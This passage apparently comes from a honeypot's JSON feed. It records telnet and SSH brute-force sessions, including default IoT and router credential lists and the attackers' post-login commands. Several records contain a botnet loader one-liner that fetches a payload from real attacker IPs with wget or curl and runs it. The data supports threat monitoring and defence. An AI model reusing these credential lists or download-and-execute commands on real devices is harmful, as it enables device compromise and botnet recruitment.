"]],"truncated":false},"key":"8e8b3bd47702"},{"id":"1b2850d7824b","t":"2026-10-13T08:01:37Z","first_t":"2026-10-12T07:58:39Z","repeats":2166,"merged":true,"ip":"94.243.8.84","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"root","p":"root","ok":true},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"support","p":"support","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telnet","p":"telnet","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"user","p":"user","ok":false}],"attempt_n":[3,3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2168,"distinct_creds":99,"distinct_users":12,"distinct_passwords":77,"got_shell":true,"shell_sessions":61,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x59\\x4d\\x46\\x59\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x48\\x59\\x4d\\x46\\x59\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.96.228.235:2069/i ||curl -O http://27.96.228.235:2069/i ||/bin/busybox wget http://27.96.228.235:2069/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x58\\x50\\x49\\x4d\\x57\\x41\\x4d\\x4f'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":640,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('HYMFYW', 'XPIMWAMO') to confirm the shell was real and running its commands.","Tried to download a payload from 27.96.228.235 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":16.64,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[3.085,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n"],[3.133,"-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\n"],[3.186,"root@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>"],[3.228,"/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x48\\x59\\x4d\\x46\\x59\\x57'\n"],[3.882,"HYMFYW\nroot@svr04:/var# "],[5.915,"/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x59\\x4d\\x46\\x59\\x57'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nHYMFYWroot@svr04:/var# "],[8.987,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.96.228.235:2069/i ||curl -O http://27.96.228.235:2069/i ||/bin/busybox wget http://27.96.228.235:2069/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo"],[9.027," -e '\\x58\\x50\\x49\\x4d\\x57\\x41\\x4d\\x4f'\n"],[9.252,"--2026-10-11 01:39:46--  http://27.96.228.235:2069/i\nConnecting to 27.96.228.235:2069... connected.\nHTTP request sent, awaiting response... "],[10.445,"\n"],[11.557,"\n--2026-10-11 01:39:49--  http://27.96.228.235:2069/i\nConnecting to 27.96.228.235:2069... connected.\nHTTP request sent, awaiting response... "],[14.312,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nXPIMWAMO\nroot@svr04:/var# "]],"truncated":false},"key":"8f41133b73f6"},{"id":"f386e330915b","t":"2026-10-13T08:01:24Z","first_t":"2026-10-12T07:59:33Z","repeats":440,"merged":true,"ip":"164.30.17.82","cc":"DE","proto":"ssh","duration_s":null,"attempts":[{"u":"","p":"","ok":false},{"u":"ubuntu","p":"0001","ok":false},{"u":"ubuntu","p":"0002","ok":false},{"u":"ubuntu","p":"0003","ok":false},{"u":"ubuntu","p":"0004","ok":false},{"u":"ubuntu","p":"0005","ok":false},{"u":"ubuntu","p":"0006","ok":false},{"u":"ubuntu","p":"0007","ok":false},{"u":"ubuntu","p":"0008","ok":false},{"u":"ubuntu","p":"0009","ok":false},{"u":"ubuntu","p":"00099","ok":false},{"u":"ubuntu","p":"0010","ok":false},{"u":"ubuntu","p":"0011","ok":false},{"u":"ubuntu","p":"0012","ok":false},{"u":"ubuntu","p":"0013","ok":false},{"u":"ubuntu","p":"0014","ok":false},{"u":"ubuntu","p":"0015","ok":false},{"u":"ubuntu","p":"0016","ok":false},{"u":"ubuntu","p":"0017","ok":false},{"u":"ubuntu","p":"0018","ok":false},{"u":"ubuntu","p":"0019","ok":false},{"u":"ubuntu","p":"0020","ok":false},{"u":"ubuntu","p":"0021","ok":false},{"u":"ubuntu","p":"0022","ok":false},{"u":"ubuntu","p":"0023","ok":false},{"u":"ubuntu","p":"0024","ok":false},{"u":"ubuntu","p":"0025","ok":false},{"u":"ubuntu","p":"0026","ok":false},{"u":"ubuntu","p":"0027","ok":false},{"u":"ubuntu","p":"0028","ok":false},{"u":"ubuntu","p":"0029","ok":false},{"u":"ubuntu","p":"0030","ok":false},{"u":"ubuntu","p":"0031","ok":false},{"u":"ubuntu","p":"0032","ok":false},{"u":"ubuntu","p":"0033","ok":false},{"u":"ubuntu","p":"0034","ok":false},{"u":"ubuntu","p":"0035","ok":false},{"u":"ubuntu","p":"0036","ok":false},{"u":"ubuntu","p":"0037","ok":false},{"u":"ubuntu","p":"root!","ok":false}],"attempt_n":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":440,"distinct_creds":440,"distinct_users":2,"distinct_passwords":437,"got_shell":false,"shell_sessions":0,"commands":[],"command_n":[],"commands_total":0,"distinct_commands":0,"narrative":[],"tags":[],"replay":null,"key":"20c10b27aca6"},{"id":"fcbf6b534333","t":"2026-10-13T08:01:09Z","first_t":"2026-10-12T08:04:29Z","repeats":5030,"merged":true,"ip":"81.227.54.149","cc":"SE","proto":"telnet","duration_s":null,"attempts":[{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"default","p":"default","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"xc3511","ok":false}],"attempt_n":[2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5030,"distinct_creds":164,"distinct_users":19,"distinct_passwords":130,"got_shell":true,"shell_sessions":117,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x55\\x47\\x4b\\x4b\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x48\\x55\\x47\\x4b\\x4b\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://95.155.243.196:55793/i ||curl -O http://95.155.243.196:55793/i ||/bin/busybox wget http://95.155.243.196:55793/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4a\\x41\\x45\\x41\\x4a\\x4e\\x42\\x42'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":1249,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('HUGKKE', 'JAEAJNBB') to confirm the shell was real and running its commands.","Tried to download a payload from 95.155.243.196 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":15.66,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[1.39,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n"],[1.444,"-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\n"],[1.487,"Password: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busyb"],[1.527,"ox echo -e '\\x48\\x55\\x47\\x4b\\x4b\\x45'\n"],[2.537,"HUGKKE\nroot@svr04:/var# "],[6.814,"/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x55\\x47\\x4b\\x4b\\x45'\n"],[6.861,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nHUGKKEroot@svr04:/var# "],[7.242,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -"],[7.282,"rf i;wget http://95.155.243.196:55793/i ||curl -O http://95.155.243.196:55793/i ||/bin/busybox wget http://95.155.243.196:55793/i;chmod 777 i ||(cp /bin/ls "],[7.329,"ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4a\\x41\\x45\\x41\\x4a\\x4e\\x42\\x42'\n"],[7.644,"--2026-10-01 21:05:59--  http://95.155.243.196:55793/i\nConnecting to 95.155.243.196:55793... connected.\nHTTP request sent, awaiting response... "],[10.113,"\n"],[12.18,"\n--2026-10-01 21:06:04--  http://95.155.243.196:55793/i\nConnecting to 95.155.243.196:55793... connected.\nHTTP request sent, awaiting response... "],[15.116,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nJAEAJNBB\nroot@svr04:/var# "]],"truncated":false},"key":"464af528c3a2"},{"id":"363c4ef6511f","t":"2026-10-13T07:59:23Z","first_t":"2026-10-12T07:58:50Z","repeats":4610,"merged":true,"ip":"222.139.94.107","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"54321","ok":false},{"u":"Admin","p":"","ok":true},{"u":"admin","p":"54321","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"system","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"test1","p":"test1","ok":false},{"u":"yhtcAdmin","p":"Cm1@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4611,"distinct_creds":164,"distinct_users":17,"distinct_passwords":130,"got_shell":true,"shell_sessions":103,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x56\\x43\\x59\\x56\\x53'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x56\\x43\\x59\\x56\\x53'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://220.192.32.134:52203/i ||curl -O http://220.192.32.134:52203/i ||/bin/busybox wget http://220.192.32.134:52203/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x44\\x44\\x49\\x49\\x4d\\x57\\x54\\x58'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2],"commands_total":1091,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('DDIIMWTX', 'QVCYVS') to confirm the shell was real and running its commands.","Tried to download a payload from 220.192.32.134 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":4.78,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[0.406,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ "],[0.446,"system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >"],[0.486,"/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x56\\x43\\x59\\x56\\x53'\n"],[1.007,"QVCYVS\nroot@svr04:/var# "],[1.365,"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x56\\x43\\x59\\x56\\x53'\n"],[1.413,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nQVCYVSroot@svr04:/var# "],[1.729,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://220.192.32.134:52203/i ||curl -O http://220.192.32.134:52203/i ||/bin/busybox wget http://220.192.32.134:52203/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x44\\x44\\x49\\x49\\x4d\\x57\\x54\\x58'\n"],[2.002,"--2026-10-09 05:28:39--  http://220.192.32.134:52203/i\nConnecting to 220.192.32.134:52203... connected.\nHTTP request sent, awaiting response... "],[3.3,"\n"],[3.634,"\n--2026-10-09 05:28:40--  http://220.192.32.134:52203/i\nConnecting to 220.192.32.134:52203... connected.\nHTTP request sent, awaiting response... "],[4.182,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nDDIIMWTX\nroot@svr04:/var# "]],"truncated":false},"key":"0bca61e083c1"},{"id":"4a61459b9743","t":"2026-10-13T07:59:13Z","first_t":"2026-10-12T07:58:39Z","repeats":6459,"merged":true,"ip":"27.206.191.215","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"anko","ok":false},{"u":"user","p":"","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"support","p":"1234","ok":false},{"u":"user","p":"1234","ok":false},{"u":"yhtcAdmin","p":"Cuc@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":6462,"distinct_creds":164,"distinct_users":14,"distinct_passwords":130,"got_shell":true,"shell_sessions":135,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x4e\\x4d\\x41\\x42\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x4e\\x4d\\x41\\x42\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://185.205.226.191:38313/i ||curl -O http://185.205.226.191:38313/i ||/bin/busybox wget http://185.205.226.191:38313/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x4f\\x46\\x58\\x57\\x55\\x50\\x4a'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":1374,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('GNMABB', 'IOFXWUPJ') to confirm the shell was real and running its commands.","Tried to download a payload from 185.205.226.191 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":3.92,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[0.335,"start\n"],[0.41,"-bash: start: command not found\nroot@svr04:~# enable\n"],[0.463,"-bash: enable: command not found\nroot@svr04:~# config terminal\n"],[0.527,"-bash: config: command not found\nroot@svr04:~# system\n"],[0.573,"-bash: system: command not found\nroot@svr04:~# linuxshell\n"],[0.614,"-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n"],[0.668,"-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/"],[0.712,"usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x4e\\x4d\\x41\\x42\\x42'\n"],[1.667,"GNMABB\nroot@svr04:/var# "],[1.971,"/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x4e\\x4d\\x41\\x42\\x42'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nGNMABBroot@svr04:/var# "],[2.265,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://185.205.226.191:38313/i ||curl -O http://185.205.226.191:38313/i ||/bin/busybox wget http://185.205.226.191:38313/i;chmod 777 i ||(cp /bin/ls ii"],[2.305,";cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x4f\\x46\\x58\\x57\\x55\\x50\\x4a'\n"],[2.648,"--2026-10-05 11:21:25--  http://185.205.226.191:38313/i\nConnecting to 185.205.226.191:38313... connected.\nHTTP request sent, awaiting response... "],[2.97,"\n"],[3.283,"\n--2026-10-05 11:21:26--  http://185.205.226.191:38313/i\nConnecting to 185.205.226.191:38313... connected.\nHTTP request sent, awaiting response... "],[3.597,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nIOFXWUPJ\nroot@svr04:/var# "]],"truncated":false},"key":"9b5268ca35a2"},{"id":"e37e8d3fa120","t":"2026-10-13T07:58:31Z","first_t":"2026-10-13T07:58:31Z","repeats":1,"ip":"106.12.128.184","cc":"CN","proto":"ssh","duration_s":18.5,"attempts":[{"u":"root","p":"1Qazxsw2","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"a7345ce1c11a"},{"id":"eac43452f2ba","t":"2026-10-13T07:57:44Z","first_t":"2026-10-13T07:57:44Z","repeats":1,"ip":"62.16.41.154","cc":"RU","proto":"ssh","duration_s":27.7,"attempts":[{"u":"root","p":"123@123","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"8fae8d47d82b"},{"id":"0ee802a02282","t":"2026-10-13T07:57:44Z","first_t":"2026-10-12T07:58:39Z","repeats":2909,"merged":true,"ip":"112.239.96.41","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"supervisor","p":"zyad1234","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"password","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"root","p":"zte","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,1,1,1,1,